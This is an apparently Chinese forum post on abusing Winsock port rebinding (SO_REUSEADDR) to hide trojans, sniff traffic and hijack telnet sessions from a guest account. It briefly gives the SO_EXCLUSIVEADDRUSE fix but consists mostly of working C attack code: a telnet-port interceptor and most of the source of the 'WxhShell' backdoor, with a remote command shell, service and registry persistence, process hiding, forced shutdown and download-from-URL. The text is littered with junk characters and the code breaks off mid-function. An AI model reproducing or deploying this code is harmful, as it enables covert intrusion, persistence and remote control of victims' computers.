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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jO3Q@N0_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  vF]?i  
:* /<eT_  
  saddr.sin_family = AF_INET; gG*O&gQY  
p!hewtb5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 85w D<bN27  
|uj1T=ZY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DS=kSkW^&5  
~ Y4H)r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h:a5FK@  
8p-5.GU)<e  
  这意味着什么?意味着可以进行如下的攻击: R+]Fh4t  
U1 1rj,7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fR_)e:  
0 m";=:(w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j<"0ym)A  
( J\D"4q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v~L} :  
8{4I6;e-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d,8V-Dk+p  
`axNeqM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3P^eD:) w  
`i f*   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D7sw;{ns  
I@pnZ-5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c ?V,a`6  
44kY[jhf  
  #include lY?TF  
  #include jMW|B  
  #include 87YT;Z;U&  
  #include    ?rk3oa-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8ENAif   
  int main() X xB*lX  
  { d0MX4bhZ  
  WORD wVersionRequested; j 9y,UT  
  DWORD ret; E+ JGqk  
  WSADATA wsaData; KD-0NO=oL  
  BOOL val; AJC Wp4,  
  SOCKADDR_IN saddr; g#Zb}^  
  SOCKADDR_IN scaddr; BL]!j#''KE  
  int err; yoGE#+|7^  
  SOCKET s; _YmY y\g  
  SOCKET sc; V=3NIw18  
  int caddsize; kYPowM  
  HANDLE mt; YRW<n9=3  
  DWORD tid;   K 2LLuS!  
  wVersionRequested = MAKEWORD( 2, 2 ); dWI/X  
  err = WSAStartup( wVersionRequested, &wsaData ); 4w2V["?X1  
  if ( err != 0 ) { S4~^HvMG[Y  
  printf("error!WSAStartup failed!\n"); oYlq1MB?  
  return -1; gA" =so  
  } o~mY,7@a  
  saddr.sin_family = AF_INET; >Q[]i4*A  
   _L%/NXu,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ Z%>N  
A`#5pGR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *v8Cj(69  
  saddr.sin_port = htons(23); Fe"0Hp+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |+suGqo  
  { IW6;ZDP  
  printf("error!socket failed!\n"); *`|.:'  
  return -1; cMC1|3  
  } i T 4H@  
  val = TRUE; ndF Kw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Kqhj=B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gAv?\9=a)W  
  { 'ZL)-kbI  
  printf("error!setsockopt failed!\n"); 9I]*T  
  return -1; AGLzA+6M  
  } NawnC!~ $  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b:Rl }"a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %#/7Tl:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *5*d8;@>  
FZj tQ{M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k}F;e_  
  { p1J%=  
  ret=GetLastError(); >'Y]C\  
  printf("error!bind failed!\n"); #<yR:3  
  return -1; m feyR  
  } Bi?.G7>  
  listen(s,2); _4[kg)#+  
  while(1) ~Z.lvdA_5  
  { .6e5w1r63  
  caddsize = sizeof(scaddr); vlEd=H,LT  
  //接受连接请求 n?kU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ${6 ;]ye  
  if(sc!=INVALID_SOCKET) { F. Ihw  
  { }I05&/o.3p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pOnZ7(  
  if(mt==NULL) >jN)9}3>-#  
  { +]5JXt^  
  printf("Thread Creat Failed!\n"); )Je iTh^  
  break; M ;\K+,  
  } *Z)`:Gae  
  } _F,@mQ$!  
  CloseHandle(mt); 7F)HAbIS  
  } owmA]f  
  closesocket(s); l~F,i n.  
  WSACleanup(); xjR/K&[m  
  return 0; L|!9%X0.  
  }   ZiVTc/b  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,^AkfOY7"  
  { (Q#A Br8  
  SOCKET ss = (SOCKET)lpParam; 89'nbg  
  SOCKET sc; M#F;eK2pf  
  unsigned char buf[4096]; DC[ -<:B  
  SOCKADDR_IN saddr; ;9B:E"K?@1  
  long num; }6^(  
  DWORD val; B0Xn9Tvk  
  DWORD ret; @-!w,$F)%d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2)4{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q SCt= eQ  
  saddr.sin_family = AF_INET; JK[7&C-O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `(*5yXC  
  saddr.sin_port = htons(23); a)y8MGx?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /oe="/y6  
  { 7/Ve=7]  
  printf("error!socket failed!\n"); 1eiH%{w  
  return -1; i]9SCO  
  } OEq8gpqY  
  val = 100; }v=q6C#Q>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) el+euOV  
  { 7th&C,c&  
  ret = GetLastError(); hj0uv6t.c  
  return -1; a/>={mb Ki  
  } lFI"U^xC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {,P&05iSi  
  { i~ zL,/O8  
  ret = GetLastError(); '3%!Gi!g  
  return -1; P`V#Wj4\  
  } #_|b;cf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zx;x@";p  
  { d:<{!}BR3  
  printf("error!socket connect failed!\n"); ~w4aA<2Uq  
  closesocket(sc); 9at7$Nq  
  closesocket(ss); ~~'XY(\L@  
  return -1; ;uR8pz e  
  } Yx XDRb\kW  
  while(1) D&Ngg)_Mq  
  { F?5kl/("  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3smcCQA%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^t9"!K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ao?H.=#y  
  num = recv(ss,buf,4096,0); JGH9b!}-1  
  if(num>0) #t3j u^ |?  
  send(sc,buf,num,0); .\*\bvyCw  
  else if(num==0) Lrr6z05FQ  
  break; 9I^_n+E  
  num = recv(sc,buf,4096,0); gy9!T(z  
  if(num>0) pS0-<-\R  
  send(ss,buf,num,0); hvZW~ =75  
  else if(num==0) {_ewc/~  
  break; Q$V xm+  
  } eT:%i"C  
  closesocket(ss); PJh\U1Z  
  closesocket(sc); s)xfTr_$  
  return 0 ; cZ^$!0  
  } ~mmI] pC  
0+cRUH9Ew  
]O&TU X@)  
========================================================== qX-Jpi P  
So0YvhZ+  
下边附上一个代码,,WXhSHELL f-4<W0%  
T5W r;a  
========================================================== cs~ }k7><  
|wVoJO!O}  
#include "stdafx.h" UI>-5,X  
R1J"QU  
#include <stdio.h> 0&-!v?6 )  
#include <string.h> nSgg'I(  
#include <windows.h> Y:*mAv;&  
#include <winsock2.h> r`28fC  
#include <winsvc.h> a] >|2JN<&  
#include <urlmon.h> >N+e c_D^  
Y5PIR9-  
#pragma comment (lib, "Ws2_32.lib") .eq-i>  
#pragma comment (lib, "urlmon.lib") !=q {1\#  
_qJ[~'m<^C  
#define MAX_USER   100 // 最大客户端连接数 2ORWdR.b  
#define BUF_SOCK   200 // sock buffer YgdoQBQ  
#define KEY_BUFF   255 // 输入 buffer j!m~ :D  
wF3mQ_hv:@  
#define REBOOT     0   // 重启 NjsP"  
#define SHUTDOWN   1   // 关机 +z("'Cv  
P,D >gxl  
#define DEF_PORT   5000 // 监听端口 *w> /vu  
5\EHu8  
#define REG_LEN     16   // 注册表键长度 'HW(RC0dR  
#define SVC_LEN     80   // NT服务名长度 e`#Gq0}8  
>2>xr"  
// 从dll定义API w&:h^u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >\(Ma3S   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p*NC nD*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jwAO{.}T1r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gh i!4  
B:+}^=  
// wxhshell配置信息 }u:^Mz  
struct WSCFG { MeP U`M--  
  int ws_port;         // 监听端口 q)<5&|V  
  char ws_passstr[REG_LEN]; // 口令 9c#9KCmc  
  int ws_autoins;       // 安装标记, 1=yes 0=no McH*J j  
  char ws_regname[REG_LEN]; // 注册表键名 D95$  
  char ws_svcname[REG_LEN]; // 服务名 .' D+De&y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HRx#}hN?+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;#fB=[vl";  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nb0<.ICF%R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5g/^wKhKG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K2:r7f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]DC]=F.  
rYN`u  
}; k_O"bsI)  
j(Q$frI  
// default Wxhshell configuration ?uQ|?rk  
struct WSCFG wscfg={DEF_PORT, UY%@i  
    "xuhuanlingzhe", a,&Kvh  
    1, ~LYKt0/W&  
    "Wxhshell", |(XV '-~  
    "Wxhshell", ): Q5u6  
            "WxhShell Service", .9 nsW?  
    "Wrsky Windows CmdShell Service", xH3SVn(I  
    "Please Input Your Password: ",  jCKRoao  
  1, v`beql  
  "http://www.wrsky.com/wxhshell.exe", gY*Cl1 Iz  
  "Wxhshell.exe" Ra~n:$tg2  
    }; ]2b" oHg  
3^1)W!n/  
// 消息定义模块 W,AIE 6F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zL)S,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6@bGh|   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +u25>pX  
char *msg_ws_ext="\n\rExit."; z13"S(5D~  
char *msg_ws_end="\n\rQuit."; s/P\w"/fN  
char *msg_ws_boot="\n\rReboot..."; rYm<U!k  
char *msg_ws_poff="\n\rShutdown..."; !4.;Ftgjn  
char *msg_ws_down="\n\rSave to "; )m5<gp`  
y<3v/ ,Y  
char *msg_ws_err="\n\rErr!"; PMXnupt  
char *msg_ws_ok="\n\rOK!"; >KGQ#hnH  
1`2lTkg  
char ExeFile[MAX_PATH]; hn!$?Vo.  
int nUser = 0; 5:n&G[Md  
HANDLE handles[MAX_USER]; sPc\xY  
int OsIsNt; y7,~7f!N2  
>]C;sP  
SERVICE_STATUS       serviceStatus; u$<FKp;I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @@ ZcW<Y"  
:MJBbrV ,  
// 函数声明 / HaS.  
int Install(void); Kau*e8  
int Uninstall(void); hh:)"<[  
int DownloadFile(char *sURL, SOCKET wsh); WxO*{`T!  
int Boot(int flag); #docBsHX&s  
void HideProc(void); Dq2eX;c@  
int GetOsVer(void); 6LvUi|~"<  
int Wxhshell(SOCKET wsl); y=  
void TalkWithClient(void *cs); &Lq @af#  
int CmdShell(SOCKET sock); jX+LI  
int StartFromService(void); BLMcvK\9  
int StartWxhshell(LPSTR lpCmdLine); BKvF,f/g  
wJ IJPYTK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~xvQ?c ?-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %R&3v%$y*  
ZMx_J  
// 数据结构和表定义 ?{{E/J:%  
SERVICE_TABLE_ENTRY DispatchTable[] = /!AdX0dx  
{ gfr``z=>O  
{wscfg.ws_svcname, NTServiceMain}, 7zQD.+&L  
{NULL, NULL} JmN;v|wF:c  
}; WNL3+  
}[i35f[w  
// 自我安装 xZ9y*Gv\=  
int Install(void) 5-]%D(y  
{ {MYlW0)~  
  char svExeFile[MAX_PATH]; 7*[>e7:A  
  HKEY key; 6e~+@S  
  strcpy(svExeFile,ExeFile); kO2im+y  
n]8_]0{qi  
// 如果是win9x系统,修改注册表设为自启动 +;; fw |/  
if(!OsIsNt) { Aoa0czC~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D0x+b2x^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =4Ex' %%(U  
  RegCloseKey(key); \19XDqf8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nMVThN*I g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N?87Bd  
  RegCloseKey(key); df8rf8B-  
  return 0; @ZX{q~g!  
    } VK`b'U &l"  
  } 2ix_,yTO  
} Pv0OoN*eJ{  
else { |c >  
k5}i^^.  
// 如果是NT以上系统,安装为系统服务 8,kbGlSD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #+_Oy Z*  
if (schSCManager!=0) OQ[>s(`*{  
{ (<%i8xu 2  
  SC_HANDLE schService = CreateService %Yd}},X_E  
  ( % )|/s %W  
  schSCManager, k?xtZ,n{s  
  wscfg.ws_svcname, *FG@Dts^&  
  wscfg.ws_svcdisp, _B W$?:)9  
  SERVICE_ALL_ACCESS, W:EXL@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n\cP17dr  
  SERVICE_AUTO_START, 88G[XkL$2  
  SERVICE_ERROR_NORMAL, OWq~BZ{  
  svExeFile, `yC R.3+  
  NULL, w;#9 hW&  
  NULL, \LM'KD pP_  
  NULL, 7Uj[0Awn  
  NULL, KE5f`h  
  NULL u $sX6  
  ); sDbALAp +  
  if (schService!=0) r0S7e3xb  
  { @H{$,\\  
  CloseServiceHandle(schService); 0!(Ii@m=N  
  CloseServiceHandle(schSCManager); SXod r}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +9h6{&yr1  
  strcat(svExeFile,wscfg.ws_svcname); A #jiCIc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ B$=,^)3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \sRRLDj%  
  RegCloseKey(key); ;#Mq=Fr-SG  
  return 0; *><] [|Y@H  
    } wbr"z7}  
  } .3HC*E.e  
  CloseServiceHandle(schSCManager); /H3,v8J@  
} 93'%aSDI%  
} h+*  
hc[GpZcw,  
return 1; 1 1p\ z  
} Y%&6qt G  
S?8q.59  
// 自我卸载 `I'=d4  
int Uninstall(void) ,#"AWQ  
{ Ap97Zcw  
  HKEY key; wh~~g qi9  
m?M(79u[  
if(!OsIsNt) { ]j{S' cz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "&2D6  
  RegDeleteValue(key,wscfg.ws_regname); UiYA#m  
  RegCloseKey(key);  /?_{DMt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT.V3G  
  RegDeleteValue(key,wscfg.ws_regname); Tzk8y 7$[  
  RegCloseKey(key); X2Lhb{ZHE  
  return 0; M#|TQa N  
  } p>!r[v'  
} a .] !  
} aa".d[*1  
else { mIr{Wocx  
Qy3e ,9nS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k| jC c  
if (schSCManager!=0) :+R ||q i  
{ ^|sQkufo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'Y&yt"cs  
  if (schService!=0) OI`Lb\8pP  
  { awC&xVf  
  if(DeleteService(schService)!=0) { RcHyePuF)R  
  CloseServiceHandle(schService); PGw"\-F  
  CloseServiceHandle(schSCManager); v-Br)lLv  
  return 0; }%jb/@~  
  } }_gq vgI>p  
  CloseServiceHandle(schService); Hh qx)u  
  } + S%+Ku  
  CloseServiceHandle(schSCManager); +h9CcBd  
} Ak9W8Z}  
} 4ErDGYg}  
}e@j(*8  
return 1; M(2[X/t  
} {+r?g J  
\|T0@V  
// 从指定url下载文件 D(r|sw  
int DownloadFile(char *sURL, SOCKET wsh) <T7y85  
{ N.isvDk%  
  HRESULT hr; I;xT yhUd  
char seps[]= "/"; %3C,jg  
char *token; >c1mwZS ;  
char *file; 6l>G>)  
char myURL[MAX_PATH]; 4wBCs0NIm  
char myFILE[MAX_PATH]; `9wz:s QtP  
=1esUO[nx  
strcpy(myURL,sURL); qi)(\  
  token=strtok(myURL,seps); c?opVbJB\  
  while(token!=NULL) +"SBt}1  
  { >T(f  
    file=token; DD-DY&2R  
  token=strtok(NULL,seps); 0dgR;Dl(  
  } AX1\L |tJS  
fI BLJ53  
GetCurrentDirectory(MAX_PATH,myFILE); cJhf{{_oR  
strcat(myFILE, "\\"); c`t1:%S  
strcat(myFILE, file); 4 5Ql7~  
  send(wsh,myFILE,strlen(myFILE),0); {`3;Pd`  
send(wsh,"...",3,0); De^is^{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #~#_) \l'F  
  if(hr==S_OK) nxH$$}9  
return 0; r^ "mPgY  
else yDyq. -Q  
return 1; t^7R6y  
y k#:.5H  
} @E==~ b  
~ib#x~Db  
// 系统电源模块 @L~y%#  
int Boot(int flag) '17=1\Ss6;  
{ ~pF'Qw" z|  
  HANDLE hToken; R UX  
  TOKEN_PRIVILEGES tkp; [@\f 0R  
OsK=% aDpj  
  if(OsIsNt) { h`vM+,I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *wSl~J|ZM%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y'+^ ME$H  
    tkp.PrivilegeCount = 1; jf%Ydr}`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k5ZwGJ#r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =W4cWG?+  
if(flag==REBOOT) { d[S!e`,iD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,:v}gS?Uq  
  return 0; )Z^( +  
} -9Can4  
else { J,q:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $>BP}V33  
  return 0; - jyD!(  
} Nh+$'6yT%  
  } b ;}MA7=  
  else { ):\ pD]e  
if(flag==REBOOT) { [XQNgSy?z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )kd)v4#  
  return 0; %r>vZ/>a  
} @TH \hr]  
else { {#;6$dU;(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cX&c%~  
  return 0; cf j6I  
} T&S< 0  
} ;wN.RPE_^  
R]r~TJ o  
return 1; }U(^QB  
} /stED{j,  
<e=0J8V8,i  
// win9x进程隐藏模块 _{ba  
void HideProc(void) |_ @iaLE  
{ gVD!.  
$Z(zO;k.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fDRQ(}  
  if ( hKernel != NULL ) bk7miRIB  
  { %v|,-B7Yx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F(w>lWs;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4s"HO/  
    FreeLibrary(hKernel); O-G@To3\  
  } iA< EJ  
eR}d"F4W  
return; RM`8P5i]sF  
} 62zlO{ >rJ  
kO5KZ;+N-  
// 获取操作系统版本 lS,Hr3Lz  
int GetOsVer(void) c '(]n]a%  
{ j[z\p~^  
  OSVERSIONINFO winfo; <D 5QlAN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0P)c)x5  
  GetVersionEx(&winfo); te:VYP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w"sRK  
  return 1; Y# lE  
  else I#mT#xs6  
  return 0; 7 yi>G  
} *&U9npN  
T0SD|'  
// 客户端句柄模块 Z$pR_dazU  
int Wxhshell(SOCKET wsl) C qxP@  
{ LCdc7  
  SOCKET wsh; *(HH71Y  
  struct sockaddr_in client; 7O{\^Jz1  
  DWORD myID; 8+!$k!=X  
,~3sba  
  while(nUser<MAX_USER) u ) ld  
{ VJNPs6  
  int nSize=sizeof(client); L,l+1`Jz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;m&f Vp  
  if(wsh==INVALID_SOCKET) return 1; Jsw<,uT D  
A1Zu^_y'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZWr\v!4  
if(handles[nUser]==0) @4Y>)wn&;  
  closesocket(wsh); `n_ Z  
else Y6CadC  
  nUser++; 7.=u:PK7kM  
  } ``Nj Nd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CHLMY}O0  
Kc(_?`  
  return 0; c"QI`;D_c  
} 16] O^R;r  
s$]I@;_  
// 关闭 socket xqG` _S l  
void CloseIt(SOCKET wsh) (V+(\<M  
{  (0k0gq;  
closesocket(wsh); P@Qo2zTh%  
nUser--; F-ZD6l9O  
ExitThread(0); O ,DX%wk,  
} 3Fr}8Dy  
PffwNj/l  
// 客户端请求句柄 K'71uW>  
void TalkWithClient(void *cs) 4RzG3CJdS  
{ sC}/?^q  
-OziUM1qs  
  SOCKET wsh=(SOCKET)cs; fZGKVxo"  
  char pwd[SVC_LEN]; )pzXC  
  char cmd[KEY_BUFF]; &556;l  
char chr[1]; ilNm\fQ.  
int i,j; ~PV>3c3l=  
}%:?s6Ler  
  while (nUser < MAX_USER) { !Q?4sAB  
hR?rZUl2M  
if(wscfg.ws_passstr) { <fyv^e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tG{Vn+~/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 36j.is  
  //ZeroMemory(pwd,KEY_BUFF); 1.>` h:  
      i=0; P]y5E9 k  
  while(i<SVC_LEN) { V*/))n?  
k%LE"Q  
  // 设置超时 ?r@ZTuq#  
  fd_set FdRead;  %k2zsM  
  struct timeval TimeOut; X~R qv5@-  
  FD_ZERO(&FdRead); 0!?f9kJq  
  FD_SET(wsh,&FdRead); @emZwN"m  
  TimeOut.tv_sec=8; qItI):9U  
  TimeOut.tv_usec=0; =CJs&Qa2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |, :(3Ml  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dp'/uCW)  
1k hwwoo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _\1(7?0D  
  pwd=chr[0]; +6>Pp[%  
  if(chr[0]==0xd || chr[0]==0xa) { JD>!3>S)?  
  pwd=0; |W::\yu6  
  break; 2L\h+)  
  } {vU '>pp  
  i++; "5e]-u'  
    } YvU#)M_h  
Oq.) 8E.  
  // 如果是非法用户,关闭 socket Mu:H'$"'H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C= Zuy^  
} Nd0Wt4=  
weDv[b5i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Z~m6;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5<S1,u5  
6jnRC*!?  
while(1) { -~xd-9v?  
R0+m7mx#E  
  ZeroMemory(cmd,KEY_BUFF); !7w-?1?D  
H11Wb(6Wu  
      // 自动支持客户端 telnet标准   i?R qv<n  
  j=0; ^8\pJg_0  
  while(j<KEY_BUFF) { G(4k#jB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $M><K  
  cmd[j]=chr[0]; y}3V3uqK  
  if(chr[0]==0xa || chr[0]==0xd) { QO%LSRw  
  cmd[j]=0; zzxU9m~"  
  break; B O"+m  
  } {!="PnB  
  j++; %?g]{  
    } {7;T Q?/  
:DZiDJ@  
  // 下载文件 6?Wsg`9  
  if(strstr(cmd,"http://")) { 68d@By  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kj[[78  
  if(DownloadFile(cmd,wsh)) U]P;X~$!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vD*KJ3(c  
  else [;b9'7j'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a#{a{>  
  } ;J _d%  
  else { J) (pGS@  
^.4<#Qs  
    switch(cmd[0]) { >s>5k O  
  d p?uq'  
  // 帮助 ]f\rB8k|&  
  case '?': { o 1b#q/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8=e \^Q+  
    break; ?@XO*|xkSk  
  } *7Mrng  
  // 安装 ?,!qh  
  case 'i': { O=mJ8W@  
    if(Install()) i44`$ps  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bv] ZUF0  
    else ;Rt,"W)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k4|YaGhf  
    break; m:H )b{  
    } (2{1m#o  
  // 卸载 >!wwXhH(  
  case 'r': { $L&*0$[]Q  
    if(Uninstall()) +yTL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-,l|K  
    else )Y:CV,`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z6Hl+nq B  
    break; Y8N&[L[z&  
    } Z<wg`  
  // 显示 wxhshell 所在路径 n b{8zo  
  case 'p': { yf$7<gwX  
    char svExeFile[MAX_PATH]; fL@[B{XMM  
    strcpy(svExeFile,"\n\r"); 4ASc`w*0  
      strcat(svExeFile,ExeFile); t EN%mK  
        send(wsh,svExeFile,strlen(svExeFile),0); 2{%BQq>C  
    break; 3sL#_@+yz  
    } [~;9Mi.XL  
  // 重启 U@*z#T#"m  
  case 'b': { Ufk7%`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *s/F4?*  
    if(Boot(REBOOT)) d2(n3Xf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 o.Mh/D0  
    else { R{WG>c  
    closesocket(wsh); t & ucq Y  
    ExitThread(0); &2g1Oy~  
    } }b{N[  
    break; t4Z.b 5g  
    } QM$?}>:  
  // 关机 @U9ov >E  
  case 'd': { m/{rmtA4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w,P2_xk`  
    if(Boot(SHUTDOWN)) V^Nc0r   
